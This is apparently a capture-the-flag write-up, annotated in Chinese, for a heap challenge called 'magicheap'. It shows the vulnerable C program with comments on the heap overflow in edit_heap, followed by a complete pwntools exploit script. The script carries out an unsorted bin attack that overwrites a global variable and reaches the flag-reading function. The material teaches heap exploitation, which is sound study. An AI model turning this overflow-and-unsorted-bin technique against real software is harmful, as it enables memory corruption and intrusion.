首先查看下代码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void read_input(char *buf,size_t size){ //读取屏幕输入的size字节,到buf中
int ret ;
ret = read(0,buf,size);
if(ret <=0){
puts("Error");
_exit(-1);
}
}
char *heaparray[10];
unsigned long int magic = 0 ;
void menu(){ //这个就是menu
puts("--------------------------------");
puts(" Magic Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Delete a Heap ");
puts(" 4. Exit ");
puts("--------------------------------");
printf("Your choice :");
}
void create_heap(){
int i ;
char buf[8];
size_t size = 0;
for(i = 0 ; i < 10 ; i++){
if(!heaparray[i]){ //遍历找到没有使用的heap指针
printf("Size of Heap : ");
read(0,buf,8);
size = atoi(buf);
heaparray[i] = (char *)malloc(size); //输入数字并申请相应的堆块
if(!heaparray[i]){
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(heaparray[i],size); //读取屏幕输入到堆块中
puts("SuccessFul");
break ;
}
}
}
void edit_heap(){
int idx ;
char buf[4];
size_t size ;
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
printf("Size of Heap : ");
read(0,buf,8);
size = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[idx] ,size); //这里存在一个堆溢出,我们可以根据这个溢出覆盖bk,制造unsortbin attack,修改变量内容
puts("Done !");
}else{
puts("No such heap !");
}
}
void delete_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
free(heaparray[idx]); //free结构体并置零
heaparray[idx] = NULL ;
puts("Done !");
}else{
puts("No such heap !");
}
}
void l33t(){ // 运行到这里就成功了
system("cat /home/magicheap/flag");
}
int main(){
char buf[8];
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
while(1){
menu();
read(0,buf,8);
switch(atoi(buf)){
case 1 :
create_heap();
break ;
case 2 :
edit_heap();
break ;
case 3 :
delete_heap();
break ;
case 4 :
exit(0);
break ;
case 4869 :
if(magic > 4869){ //我们只要控制magic的值,就可以了
puts("Congrt !");
l33t();
}else
puts("So sad !");
break ;
default :
puts("Invalid Choice");
break;
}
}
return 0 ;
}
最终的exp如下
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./magicheap')
def create_heap(size,content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def edit_heap(idx,size,content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def del_heap(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
create_heap(0x80,"dada") # 0
create_heap(0x20,"dada") # 1 这个用来覆盖下一个
create_heap(0x80,"dada") # 2
create_heap(0x20,"dada") # 3
del_heap(2)
del_heap(0)
magic = 0x6020c0
fd = 0
bk = magic - 0x10
edit_heap(1,0x20+0x20,"a"*0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk)) # 堆溢出,覆盖下一个chunk
create_heap(0x80,"dada") #触发unsorted bin attack,使其从unsortbin中剔除,然后改变下面的fd,bk
r.recvuntil(":")
r.sendline("4869")
r.interactive()